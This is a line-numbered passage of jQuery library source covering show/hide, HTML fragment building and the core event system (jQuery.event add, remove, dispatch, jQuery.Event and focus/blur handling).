4511 jQuery.style( elem, prop, initialInUnit + unit );
4512 if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {
4513 maxIterations = 0;
4514 }
4515 initialInUnit = initialInUnit / scale;
4516
4517 }
4518
4519 initialInUnit = initialInUnit * 2;
4520 jQuery.style( elem, prop, initialInUnit + unit );
4521
4522 // Make sure we update the tween properties later on
4523 valueParts = valueParts || [];
4524 }
4525
4526 if ( valueParts ) {
4527 initialInUnit = +initialInUnit || +initial || 0;
4528
4529 // Apply relative offset (+=/-=) if specified
4530 adjusted = valueParts[ 1 ] ?
4531 initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :
4532 +valueParts[ 2 ];
4533 if ( tween ) {
4534 tween.unit = unit;
4535 tween.start = initialInUnit;
4536 tween.end = adjusted;
4537 }
4538 }
4539 return adjusted;
4540}
4541
4542
4543var defaultDisplayMap = {};
4544
4545function getDefaultDisplay( elem ) {
4546 var temp,
4547 doc = elem.ownerDocument,
4548 nodeName = elem.nodeName,
4549 display = defaultDisplayMap[ nodeName ];
4550
4551 if ( display ) {
4552 return display;
4553 }
4554
4555 temp = doc.body.appendChild( doc.createElement( nodeName ) );
4556 display = jQuery.css( temp, "display" );
4557
4558 temp.parentNode.removeChild( temp );
4559
4560 if ( display === "none" ) {
4561 display = "block";
4562 }
4563 defaultDisplayMap[ nodeName ] = display;
4564
4565 return display;
4566}
4567
4568function showHide( elements, show ) {
4569 var display, elem,
4570 values = [],
4571 index = 0,
4572 length = elements.length;
4573
4574 // Determine new display value for elements that need to change
4575 for ( ; index < length; index++ ) {
4576 elem = elements[ index ];
4577 if ( !elem.style ) {
4578 continue;
4579 }
4580
4581 display = elem.style.display;
4582 if ( show ) {
4583
4584 // Since we force visibility upon cascade-hidden elements, an immediate (and slow)
4585 // check is required in this first loop unless we have a nonempty display value (either
4586 // inline or about-to-be-restored)
4587 if ( display === "none" ) {
4588 values[ index ] = dataPriv.get( elem, "display" ) || null;
4589 if ( !values[ index ] ) {
4590 elem.style.display = "";
4591 }
4592 }
4593 if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) {
4594 values[ index ] = getDefaultDisplay( elem );
4595 }
4596 } else {
4597 if ( display !== "none" ) {
4598 values[ index ] = "none";
4599
4600 // Remember what we're overwriting
4601 dataPriv.set( elem, "display", display );
4602 }
4603 }
4604 }
4605
4606 // Set the display of the elements in a second loop to avoid constant reflow
4607 for ( index = 0; index < length; index++ ) {
4608 if ( values[ index ] != null ) {
4609 elements[ index ].style.display = values[ index ];
4610 }
4611 }
4612
4613 return elements;
4614}
4615
4616jQuery.fn.extend( {
4617 show: function() {
4618 return showHide( this, true );
4619 },
4620 hide: function() {
4621 return showHide( this );
4622 },
4623 toggle: function( state ) {
4624 if ( typeof state === "boolean" ) {
4625 return state ? this.show() : this.hide();
4626 }
4627
4628 return this.each( function() {
4629 if ( isHiddenWithinTree( this ) ) {
4630 jQuery( this ).show();
4631 } else {
4632 jQuery( this ).hide();
4633 }
4634 } );
4635 }
4636} );
4637var rcheckableType = ( /^(?:checkbox|radio)$/i );
4638
4639var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );
4640
4641var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
4642
4643
4644
4645( function() {
4646 var fragment = document.createDocumentFragment(),
4647 div = fragment.appendChild( document.createElement( "div" ) ),
4648 input = document.createElement( "input" );
4649
4650 // Support: Android 4.0 - 4.3 only
4651 // Check state lost if the name is set (trac-11217)
4652 // Support: Windows Web Apps (WWA)
4653 // `name` and `type` must use .setAttribute for WWA (trac-14901)
4654 input.setAttribute( "type", "radio" );
4655 input.setAttribute( "checked", "checked" );
4656 input.setAttribute( "name", "t" );
4657
4658 div.appendChild( input );
4659
4660 // Support: Android <=4.1 only
4661 // Older WebKit doesn't clone checked state correctly in fragments
4662 support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
4663
4664 // Support: IE <=11 only
4665 // Make sure textarea (and checkbox) defaultValue is properly cloned
4666 div.innerHTML = "<textarea>x</textarea>";
4667 support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
4668
4669 // Support: IE <=9 only
4670 // IE <=9 replaces <option> tags with their contents when inserted outside of
4671 // the select element.
4672 div.innerHTML = "<option></option>";
4673 support.option = !!div.lastChild;
4674} )();
4675
4676
4677// We have to close these tags to support XHTML (trac-13200)
4678var wrapMap = {
4679
4680 // XHTML parsers do not magically insert elements in the
4681 // same way that tag soup parsers do. So we cannot shorten
4682 // this by omitting <tbody> or other required elements.
4683 thead: [ 1, "<table>", "</table>" ],
4684 col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
4685 tr: [ 2, "<table><tbody>", "</tbody></table>" ],
4686 td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
4687
4688 _default: [ 0, "", "" ]
4689};
4690
4691wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
4692wrapMap.th = wrapMap.td;
4693
4694// Support: IE <=9 only
4695if ( !support.option ) {
4696 wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
4697}
4698
4699
4700function getAll( context, tag ) {
4701
4702 // Support: IE <=9 - 11 only
4703 // Use typeof to avoid zero-argument method invocation on host objects (trac-15151)
4704 var ret;
4705
4706 if ( typeof context.getElementsByTagName !== "undefined" ) {
4707 ret = context.getElementsByTagName( tag || "*" );
4708
4709 } else if ( typeof context.querySelectorAll !== "undefined" ) {
4710 ret = context.querySelectorAll( tag || "*" );
4711
4712 } else {
4713 ret = [];
4714 }
4715
4716 if ( tag === undefined || tag && nodeName( context, tag ) ) {
4717 return jQuery.merge( [ context ], ret );
4718 }
4719
4720 return ret;
4721}
4722
4723
4724// Mark scripts as having already been evaluated
4725function setGlobalEval( elems, refElements ) {
4726 var i = 0,
4727 l = elems.length;
4728
4729 for ( ; i < l; i++ ) {
4730 dataPriv.set(
4731 elems[ i ],
4732 "globalEval",
4733 !refElements || dataPriv.get( refElements[ i ], "globalEval" )
4734 );
4735 }
4736}
4737
4738
4739var rhtml = /<|&#?\w+;/;
4740
4741function buildFragment( elems, context, scripts, selection, ignored ) {
4742 var elem, tmp, tag, wrap, attached, j,
4743 fragment = context.createDocumentFragment(),
4744 nodes = [],
4745 i = 0,
4746 l = elems.length;
4747
4748 for ( ; i < l; i++ ) {
4749 elem = elems[ i ];
4750
4751 if ( elem || elem === 0 ) {
4752
4753 // Add nodes directly
4754 if ( toType( elem ) === "object" ) {
4755
4756 // Support: Android <=4.0 only, PhantomJS 1 only
4757 // push.apply(_, arraylike) throws on ancient WebKit
4758 jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
4759
4760 // Convert non-html into a text node
4761 } else if ( !rhtml.test( elem ) ) {
4762 nodes.push( context.createTextNode( elem ) );
4763
4764 // Convert html into DOM nodes
4765 } else {
4766 tmp = tmp || fragment.appendChild( context.createElement( "div" ) );
4767
4768 // Deserialize a standard representation
4769 tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
4770 wrap = wrapMap[ tag ] || wrapMap._default;
4771 tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
4772
4773 // Descend through wrappers to the right content
4774 j = wrap[ 0 ];
4775 while ( j-- ) {
4776 tmp = tmp.lastChild;
4777 }
4778
4779 // Support: Android <=4.0 only, PhantomJS 1 only
4780 // push.apply(_, arraylike) throws on ancient WebKit
4781 jQuery.merge( nodes, tmp.childNodes );
4782
4783 // Remember the top-level container
4784 tmp = fragment.firstChild;
4785
4786 // Ensure the created nodes are orphaned (trac-12392)
4787 tmp.textContent = "";
4788 }
4789 }
4790 }
4791
4792 // Remove wrapper from fragment
4793 fragment.textContent = "";
4794
4795 i = 0;
4796 while ( ( elem = nodes[ i++ ] ) ) {
4797
4798 // Skip elements already in the context collection (trac-4087)
4799 if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
4800 if ( ignored ) {
4801 ignored.push( elem );
4802 }
4803 continue;
4804 }
4805
4806 attached = isAttached( elem );
4807
4808 // Append to fragment
4809 tmp = getAll( fragment.appendChild( elem ), "script" );
4810
4811 // Preserve script evaluation history
4812 if ( attached ) {
4813 setGlobalEval( tmp );
4814 }
4815
4816 // Capture executables
4817 if ( scripts ) {
4818 j = 0;
4819 while ( ( elem = tmp[ j++ ] ) ) {
4820 if ( rscriptType.test( elem.type || "" ) ) {
4821 scripts.push( elem );
4822 }
4823 }
4824 }
4825 }
4826
4827 return fragment;
4828}
4829
4830
4831var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
4832
4833function returnTrue() {
4834 return true;
4835}
4836
4837function returnFalse() {
4838 return false;
4839}
4840
4841function on( elem, types, selector, data, fn, one ) {
4842 var origFn, type;
4843
4844 // Types can be a map of types/handlers
4845 if ( typeof types === "object" ) {
4846
4847 // ( types-Object, selector, data )
4848 if ( typeof selector !== "string" ) {
4849
4850 // ( types-Object, data )
4851 data = data || selector;
4852 selector = undefined;
4853 }
4854 for ( type in types ) {
4855 on( elem, type, selector, data, types[ type ], one );
4856 }
4857 return elem;
4858 }
4859
4860 if ( data == null && fn == null ) {
4861
4862 // ( types, fn )
4863 fn = selector;
4864 data = selector = undefined;
4865 } else if ( fn == null ) {
4866 if ( typeof selector === "string" ) {
4867
4868 // ( types, selector, fn )
4869 fn = data;
4870 data = undefined;
4871 } else {
4872
4873 // ( types, data, fn )
4874 fn = data;
4875 data = selector;
4876 selector = undefined;
4877 }
4878 }
4879 if ( fn === false ) {
4880 fn = returnFalse;
4881 } else if ( !fn ) {
4882 return elem;
4883 }
4884
4885 if ( one === 1 ) {
4886 origFn = fn;
4887 fn = function( event ) {
4888
4889 // Can use an empty set, since event contains the info
4890 jQuery().off( event );
4891 return origFn.apply( this, arguments );
4892 };
4893
4894 // Use same guid so caller can remove using origFn
4895 fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
4896 }
4897 return elem.each( function() {
4898 jQuery.event.add( this, types, fn, data, selector );
4899 } );
4900}
4901
4902/*
4903 * Helper functions for managing events -- not part of the public interface.
4904 * Props to Dean Edwards' addEvent library for many of the ideas.
4905 */
4906jQuery.event = {
4907
4908 global: {},
4909
4910 add: function( elem, types, handler, data, selector ) {
4911
4912 var handleObjIn, eventHandle, tmp,
4913 events, t, handleObj,
4914 special, handlers, type, namespaces, origType,
4915 elemData = dataPriv.get( elem );
4916
4917 // Only attach events to objects that accept data
4918 if ( !acceptData( elem ) ) {
4919 return;
4920 }
4921
4922 // Caller can pass in an object of custom data in lieu of the handler
4923 if ( handler.handler ) {
4924 handleObjIn = handler;
4925 handler = handleObjIn.handler;
4926 selector = handleObjIn.selector;
4927 }
4928
4929 // Ensure that invalid selectors throw exceptions at attach time
4930 // Evaluate against documentElement in case elem is a non-element node (e.g., document)
4931 if ( selector ) {
4932 jQuery.find.matchesSelector( documentElement, selector );
4933 }
4934
4935 // Make sure that the handler has a unique ID, used to find/remove it later
4936 if ( !handler.guid ) {
4937 handler.guid = jQuery.guid++;
4938 }
4939
4940 // Init the element's event structure and main handler, if this is the first
4941 if ( !( events = elemData.events ) ) {
4942 events = elemData.events = Object.create( null );
4943 }
4944 if ( !( eventHandle = elemData.handle ) ) {
4945 eventHandle = elemData.handle = function( e ) {
4946
4947 // Discard the second event of a jQuery.event.trigger() and
4948 // when an event is called after a page has unloaded
4949 return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
4950 jQuery.event.dispatch.apply( elem, arguments ) : undefined;
4951 };
4952 }
4953
4954 // Handle multiple events separated by a space
4955 types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
4956 t = types.length;
4957 while ( t-- ) {
4958 tmp = rtypenamespace.exec( types[ t ] ) || [];
4959 type = origType = tmp[ 1 ];
4960 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
4961
4962 // There *must* be a type, no attaching namespace-only handlers
4963 if ( !type ) {
4964 continue;
4965 }
4966
4967 // If event changes its type, use the special event handlers for the changed type
4968 special = jQuery.event.special[ type ] || {};
4969
4970 // If selector defined, determine special event api type, otherwise given type
4971 type = ( selector ? special.delegateType : special.bindType ) || type;
4972
4973 // Update special based on newly reset type
4974 special = jQuery.event.special[ type ] || {};
4975
4976 // handleObj is passed to all event handlers
4977 handleObj = jQuery.extend( {
4978 type: type,
4979 origType: origType,
4980 data: data,
4981 handler: handler,
4982 guid: handler.guid,
4983 selector: selector,
4984 needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
4985 namespace: namespaces.join( "." )
4986 }, handleObjIn );
4987
4988 // Init the event handler queue if we're the first
4989 if ( !( handlers = events[ type ] ) ) {
4990 handlers = events[ type ] = [];
4991 handlers.delegateCount = 0;
4992
4993 // Only use addEventListener if the special events handler returns false
4994 if ( !special.setup ||
4995 special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
4996
4997 if ( elem.addEventListener ) {
4998 elem.addEventListener( type, eventHandle );
4999 }
5000 }
5001 }
5002
5003 if ( special.add ) {
5004 special.add.call( elem, handleObj );
5005
5006 if ( !handleObj.handler.guid ) {
5007 handleObj.handler.guid = handler.guid;
5008 }
5009 }
5010
5011 // Add to the element's handler list, delegates in front
5012 if ( selector ) {
5013 handlers.splice( handlers.delegateCount++, 0, handleObj );
5014 } else {
5015 handlers.push( handleObj );
5016 }
5017
5018 // Keep track of which events have ever been used, for event optimization
5019 jQuery.event.global[ type ] = true;
5020 }
5021
5022 },
5023
5024 // Detach an event or set of events from an element
5025 remove: function( elem, types, handler, selector, mappedTypes ) {
5026
5027 var j, origCount, tmp,
5028 events, t, handleObj,
5029 special, handlers, type, namespaces, origType,
5030 elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );
5031
5032 if ( !elemData || !( events = elemData.events ) ) {
5033 return;
5034 }
5035
5036 // Once for each type.namespace in types; type may be omitted
5037 types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
5038 t = types.length;
5039 while ( t-- ) {
5040 tmp = rtypenamespace.exec( types[ t ] ) || [];
5041 type = origType = tmp[ 1 ];
5042 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
5043
5044 // Unbind all events (on this namespace, if provided) for the element
5045 if ( !type ) {
5046 for ( type in events ) {
5047 jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
5048 }
5049 continue;
5050 }
5051
5052 special = jQuery.event.special[ type ] || {};
5053 type = ( selector ? special.delegateType : special.bindType ) || type;
5054 handlers = events[ type ] || [];
5055 tmp = tmp[ 2 ] &&
5056 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );
5057
5058 // Remove matching events
5059 origCount = j = handlers.length;
5060 while ( j-- ) {
5061 handleObj = handlers[ j ];
5062
5063 if ( ( mappedTypes || origType === handleObj.origType ) &&
5064 ( !handler || handler.guid === handleObj.guid ) &&
5065 ( !tmp || tmp.test( handleObj.namespace ) ) &&
5066 ( !selector || selector === handleObj.selector ||
5067 selector === "**" && handleObj.selector ) ) {
5068 handlers.splice( j, 1 );
5069
5070 if ( handleObj.selector ) {
5071 handlers.delegateCount--;
5072 }
5073 if ( special.remove ) {
5074 special.remove.call( elem, handleObj );
5075 }
5076 }
5077 }
5078
5079 // Remove generic event handler if we removed something and no more handlers exist
5080 // (avoids potential for endless recursion during removal of special event handlers)
5081 if ( origCount && !handlers.length ) {
5082 if ( !special.teardown ||
5083 special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
5084
5085 jQuery.removeEvent( elem, type, elemData.handle );
5086 }
5087
5088 delete events[ type ];
5089 }
5090 }
5091
5092 // Remove data and the expando if it's no longer used
5093 if ( jQuery.isEmptyObject( events ) ) {
5094 dataPriv.remove( elem, "handle events" );
5095 }
5096 },
5097
5098 dispatch: function( nativeEvent ) {
5099
5100 var i, j, ret, matched, handleObj, handlerQueue,
5101 args = new Array( arguments.length ),
5102
5103 // Make a writable jQuery.Event from the native event object
5104 event = jQuery.event.fix( nativeEvent ),
5105
5106 handlers = (
5107 dataPriv.get( this, "events" ) || Object.create( null )
5108 )[ event.type ] || [],
5109 special = jQuery.event.special[ event.type ] || {};
5110
5111 // Use the fix-ed jQuery.Event rather than the (read-only) native event
5112 args[ 0 ] = event;
5113
5114 for ( i = 1; i < arguments.length; i++ ) {
5115 args[ i ] = arguments[ i ];
5116 }
5117
5118 event.delegateTarget = this;
5119
5120 // Call the preDispatch hook for the mapped type, and let it bail if desired
5121 if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
5122 return;
5123 }
5124
5125 // Determine handlers
5126 handlerQueue = jQuery.event.handlers.call( this, event, handlers );
5127
5128 // Run delegates first; they may want to stop propagation beneath us
5129 i = 0;
5130 while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
5131 event.currentTarget = matched.elem;
5132
5133 j = 0;
5134 while ( ( handleObj = matched.handlers[ j++ ] ) &&
5135 !event.isImmediatePropagationStopped() ) {
5136
5137 // If the event is namespaced, then each handler is only invoked if it is
5138 // specially universal or its namespaces are a superset of the event's.
5139 if ( !event.rnamespace || handleObj.namespace === false ||
5140 event.rnamespace.test( handleObj.namespace ) ) {
5141
5142 event.handleObj = handleObj;
5143 event.data = handleObj.data;
5144
5145 ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
5146 handleObj.handler ).apply( matched.elem, args );
5147
5148 if ( ret !== undefined ) {
5149 if ( ( event.result = ret ) === false ) {
5150 event.preventDefault();
5151 event.stopPropagation();
5152 }
5153 }
5154 }
5155 }
5156 }
5157
5158 // Call the postDispatch hook for the mapped type
5159 if ( special.postDispatch ) {
5160 special.postDispatch.call( this, event );
5161 }
5162
5163 return event.result;
5164 },
5165
5166 handlers: function( event, handlers ) {
5167 var i, handleObj, sel, matchedHandlers, matchedSelectors,
5168 handlerQueue = [],
5169 delegateCount = handlers.delegateCount,
5170 cur = event.target;
5171
5172 // Find delegate handlers
5173 if ( delegateCount &&
5174
5175 // Support: IE <=9
5176 // Black-hole SVG <use> instance trees (trac-13180)
5177 cur.nodeType &&
5178
5179 // Support: Firefox <=42
5180 // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)
5181 // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click
5182 // Support: IE 11 only
5183 // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343)
5184 !( event.type === "click" && event.button >= 1 ) ) {
5185
5186 for ( ; cur !== this; cur = cur.parentNode || this ) {
5187
5188 // Don't check non-elements (trac-13208)
5189 // Don't process clicks on disabled elements (trac-6911, trac-8165, trac-11382, trac-11764)
5190 if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) {
5191 matchedHandlers = [];
5192 matchedSelectors = {};
5193 for ( i = 0; i < delegateCount; i++ ) {
5194 handleObj = handlers[ i ];
5195
5196 // Don't conflict with Object.prototype properties (trac-13203)
5197 sel = handleObj.selector + " ";
5198
5199 if ( matchedSelectors[ sel ] === undefined ) {
5200 matchedSelectors[ sel ] = handleObj.needsContext ?
5201 jQuery( sel, this ).index( cur ) > -1 :
5202 jQuery.find( sel, this, null, [ cur ] ).length;
5203 }
5204 if ( matchedSelectors[ sel ] ) {
5205 matchedHandlers.push( handleObj );
5206 }
5207 }
5208 if ( matchedHandlers.length ) {
5209 handlerQueue.push( { elem: cur, handlers: matchedHandlers } );
5210 }
5211 }
5212 }
5213 }
5214
5215 // Add the remaining (directly-bound) handlers
5216 cur = this;
5217 if ( delegateCount < handlers.length ) {
5218 handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );
5219 }
5220
5221 return handlerQueue;
5222 },
5223
5224 addProp: function( name, hook ) {
5225 Object.defineProperty( jQuery.Event.prototype, name, {
5226 enumerable: true,
5227 configurable: true,
5228
5229 get: isFunction( hook ) ?
5230 function() {
5231 if ( this.originalEvent ) {
5232 return hook( this.originalEvent );
5233 }
5234 } :
5235 function() {
5236 if ( this.originalEvent ) {
5237 return this.originalEvent[ name ];
5238 }
5239 },
5240
5241 set: function( value ) {
5242 Object.defineProperty( this, name, {
5243 enumerable: true,
5244 configurable: true,
5245 writable: true,
5246 value: value
5247 } );
5248 }
5249 } );
5250 },
5251
5252 fix: function( originalEvent ) {
5253 return originalEvent[ jQuery.expando ] ?
5254 originalEvent :
5255 new jQuery.Event( originalEvent );
5256 },
5257
5258 special: {
5259 load: {
5260
5261 // Prevent triggered image.load events from bubbling to window.load
5262 noBubble: true
5263 },
5264 click: {
5265
5266 // Utilize native event to ensure correct state for checkable inputs
5267 setup: function( data ) {
5268
5269 // For mutual compressibility with _default, replace `this` access with a local var.
5270 // `|| data` is dead code meant only to preserve the variable through minification.
5271 var el = this || data;
5272
5273 // Claim the first handler
5274 if ( rcheckableType.test( el.type ) &&
5275 el.click && nodeName( el, "input" ) ) {
5276
5277 // dataPriv.set( el, "click", ... )
5278 leverageNative( el, "click", true );
5279 }
5280
5281 // Return false to allow normal processing in the caller
5282 return false;
5283 },
5284 trigger: function( data ) {
5285
5286 // For mutual compressibility with _default, replace `this` access with a local var.
5287 // `|| data` is dead code meant only to preserve the variable through minification.
5288 var el = this || data;
5289
5290 // Force setup before triggering a click
5291 if ( rcheckableType.test( el.type ) &&
5292 el.click && nodeName( el, "input" ) ) {
5293
5294 leverageNative( el, "click" );
5295 }
5296
5297 // Return non-false to allow normal event-path propagation
5298 return true;
5299 },
5300
5301 // For cross-browser consistency, suppress native .click() on links
5302 // Also prevent it if we're currently inside a leveraged native-event stack
5303 _default: function( event ) {
5304 var target = event.target;
5305 return rcheckableType.test( target.type ) &&
5306 target.click && nodeName( target, "input" ) &&
5307 dataPriv.get( target, "click" ) ||
5308 nodeName( target, "a" );
5309 }
5310 },
5311
5312 beforeunload: {
5313 postDispatch: function( event ) {
5314
5315 // Support: Firefox 20+
5316 // Firefox doesn't alert if the returnValue field is not set.
5317 if ( event.result !== undefined && event.originalEvent ) {
5318 event.originalEvent.returnValue = event.result;
5319 }
5320 }
5321 }
5322 }
5323};
5324
5325// Ensure the presence of an event listener that handles manually-triggered
5326// synthetic events by interrupting progress until reinvoked in response to
5327// *native* events that it fires directly, ensuring that state changes have
5328// already occurred before other listeners are invoked.
5329function leverageNative( el, type, isSetup ) {
5330
5331 // Missing `isSetup` indicates a trigger call, which must force setup through jQuery.event.add
5332 if ( !isSetup ) {
5333 if ( dataPriv.get( el, type ) === undefined ) {
5334 jQuery.event.add( el, type, returnTrue );
5335 }
5336 return;
5337 }
5338
5339 // Register the controller as a special universal handler for all event namespaces
5340 dataPriv.set( el, type, false );
5341 jQuery.event.add( el, type, {
5342 namespace: false,
5343 handler: function( event ) {
5344 var result,
5345 saved = dataPriv.get( this, type );
5346
5347 if ( ( event.isTrigger & 1 ) && this[ type ] ) {
5348
5349 // Interrupt processing of the outer synthetic .trigger()ed event
5350 if ( !saved ) {
5351
5352 // Store arguments for use when handling the inner native event
5353 // There will always be at least one argument (an event object), so this array
5354 // will not be confused with a leftover capture object.
5355 saved = slice.call( arguments );
5356 dataPriv.set( this, type, saved );
5357
5358 // Trigger the native event and capture its result
5359 this[ type ]();
5360 result = dataPriv.get( this, type );
5361 dataPriv.set( this, type, false );
5362
5363 if ( saved !== result ) {
5364
5365 // Cancel the outer synthetic event
5366 event.stopImmediatePropagation();
5367 event.preventDefault();
5368
5369 return result;
5370 }
5371
5372 // If this is an inner synthetic event for an event with a bubbling surrogate
5373 // (focus or blur), assume that the surrogate already propagated from triggering
5374 // the native event and prevent that from happening again here.
5375 // This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the
5376 // bubbling surrogate propagates *after* the non-bubbling base), but that seems
5377 // less bad than duplication.
5378 } else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) {
5379 event.stopPropagation();
5380 }
5381
5382 // If this is a native event triggered above, everything is now in order
5383 // Fire an inner synthetic event with the original arguments
5384 } else if ( saved ) {
5385
5386 // ...and capture the result
5387 dataPriv.set( this, type, jQuery.event.trigger(
5388 saved[ 0 ],
5389 saved.slice( 1 ),
5390 this
5391 ) );
5392
5393 // Abort handling of the native event by all jQuery handlers while allowing
5394 // native handlers on the same element to run. On target, this is achieved
5395 // by stopping immediate propagation just on the jQuery event. However,
5396 // the native event is re-wrapped by a jQuery one on each level of the
5397 // propagation so the only way to stop it for jQuery is to stop it for
5398 // everyone via native `stopPropagation()`. This is not a problem for
5399 // focus/blur which don't bubble, but it does also stop click on checkboxes
5400 // and radios. We accept this limitation.
5401 event.stopPropagation();
5402 event.isImmediatePropagationStopped = returnTrue;
5403 }
5404 }
5405 } );
5406}
5407
5408jQuery.removeEvent = function( elem, type, handle ) {
5409
5410 // This "if" is needed for plain objects
5411 if ( elem.removeEventListener ) {
5412 elem.removeEventListener( type, handle );
5413 }
5414};
5415
5416jQuery.Event = function( src, props ) {
5417
5418 // Allow instantiation without the 'new' keyword
5419 if ( !( this instanceof jQuery.Event ) ) {
5420 return new jQuery.Event( src, props );
5421 }
5422
5423 // Event object
5424 if ( src && src.type ) {
5425 this.originalEvent = src;
5426 this.type = src.type;
5427
5428 // Events bubbling up the document may have been marked as prevented
5429 // by a handler lower down the tree; reflect the correct value.
5430 this.isDefaultPrevented = src.defaultPrevented ||
5431 src.defaultPrevented === undefined &&
5432
5433 // Support: Android <=2.3 only
5434 src.returnValue === false ?
5435 returnTrue :
5436 returnFalse;
5437
5438 // Create target properties
5439 // Support: Safari <=6 - 7 only
5440 // Target should not be a text node (trac-504, trac-13143)
5441 this.target = ( src.target && src.target.nodeType === 3 ) ?
5442 src.target.parentNode :
5443 src.target;
5444
5445 this.currentTarget = src.currentTarget;
5446 this.relatedTarget = src.relatedTarget;
5447
5448 // Event type
5449 } else {
5450 this.type = src;
5451 }
5452
5453 // Put explicitly provided properties onto the event object
5454 if ( props ) {
5455 jQuery.extend( this, props );
5456 }
5457
5458 // Create a timestamp if incoming event doesn't have one
5459 this.timeStamp = src && src.timeStamp || Date.now();
5460
5461 // Mark it as fixed
5462 this[ jQuery.expando ] = true;
5463};
5464
5465// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
5466// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
5467jQuery.Event.prototype = {
5468 constructor: jQuery.Event,
5469 isDefaultPrevented: returnFalse,
5470 isPropagationStopped: returnFalse,
5471 isImmediatePropagationStopped: returnFalse,
5472 isSimulated: false,
5473
5474 preventDefault: function() {
5475 var e = this.originalEvent;
5476
5477 this.isDefaultPrevented = returnTrue;
5478
5479 if ( e && !this.isSimulated ) {
5480 e.preventDefault();
5481 }
5482 },
5483 stopPropagation: function() {
5484 var e = this.originalEvent;
5485
5486 this.isPropagationStopped = returnTrue;
5487
5488 if ( e && !this.isSimulated ) {
5489 e.stopPropagation();
5490 }
5491 },
5492 stopImmediatePropagation: function() {
5493 var e = this.originalEvent;
5494
5495 this.isImmediatePropagationStopped = returnTrue;
5496
5497 if ( e && !this.isSimulated ) {
5498 e.stopImmediatePropagation();
5499 }
5500
5501 this.stopPropagation();
5502 }
5503};
5504
5505// Includes all common event props including KeyEvent and MouseEvent specific props
5506jQuery.each( {
5507 altKey: true,
5508 bubbles: true,
5509 cancelable: true,
5510 changedTouches: true,
5511 ctrlKey: true,
5512 detail: true,
5513 eventPhase: true,
5514 metaKey: true,
5515 pageX: true,
5516 pageY: true,
5517 shiftKey: true,
5518 view: true,
5519 "char": true,
5520 code: true,
5521 charCode: true,
5522 key: true,
5523 keyCode: true,
5524 button: true,
5525 buttons: true,
5526 clientX: true,
5527 clientY: true,
5528 offsetX: true,
5529 offsetY: true,
5530 pointerId: true,
5531 pointerType: true,
5532 screenX: true,
5533 screenY: true,
5534 targetTouches: true,
5535 toElement: true,
5536 touches: true,
5537 which: true
5538}, jQuery.event.addProp );
5539
5540jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) {
5541
5542 function focusMappedHandler( nativeEvent ) {
5543 if ( document.documentMode ) {
5544
5545 // Support: IE 11+
5546 // Attach a single focusin/focusout handler on the document while someone wants
5547 // focus/blur. This is because the former are synchronous in IE while the latter
5548 // are async. In other browsers, all those handlers are invoked synchronously.
5549
5550 // `handle` from private data would already wrap the event, but we need
5551 // to change the `type` here.
5552 var handle = dataPriv.get( this, "handle" ),
5553 event = jQuery.event.fix( nativeEvent );
5554 event.type = nativeEvent.type === "focusin" ? "focus" : "blur";
5555 event.isSimulated = true;
5556
5557 // First, handle focusin/focusout
5558 handle( nativeEvent );
5559
5560 // ...then, handle focus/blur
5561 //
5562 // focus/blur don't bubble while focusin/focusout do; simulate the former by only
5563 // invoking the handler at the lower level.
5564 if ( event.target === event.currentTarget ) {
5565
5566 // The setup part calls `leverageNative`, which, in turn, calls
5567 // `jQuery.event.add`, so event handle will already have been set
5568 // by this point.
5569 handle( event );
5570 }
5571 } else {
5572
5573 // For non-IE browsers, attach a single capturing handler on the document
5574 // while someone wants focusin/focusout.
5575 jQuery.event.simulate( delegateType, nativeEvent.target,
5576 jQuery.event.fix( nativeEvent ) );
5577 }
5578 }
5579
5580 jQuery.event.special[ type ] = {
5581
5582 // Utilize native event if possible so blur/focus sequence is correct
5583 setup: function() {
5584
5585 var attaches;
5586
5587 // Claim the first handler
5588 // dataPriv.set( this, "focus", ... )
5589 // dataPriv.set( this, "blur", ... )
5590 leverageNative( this, type, true );
5591
5592 if ( document.documentMode ) {
5593
5594 // Support: IE 9 - 11+
5595 // We use the same native handler for focusin & focus (and focusout & blur)
5596 // so we need to coordinate setup & teardown parts between those events.
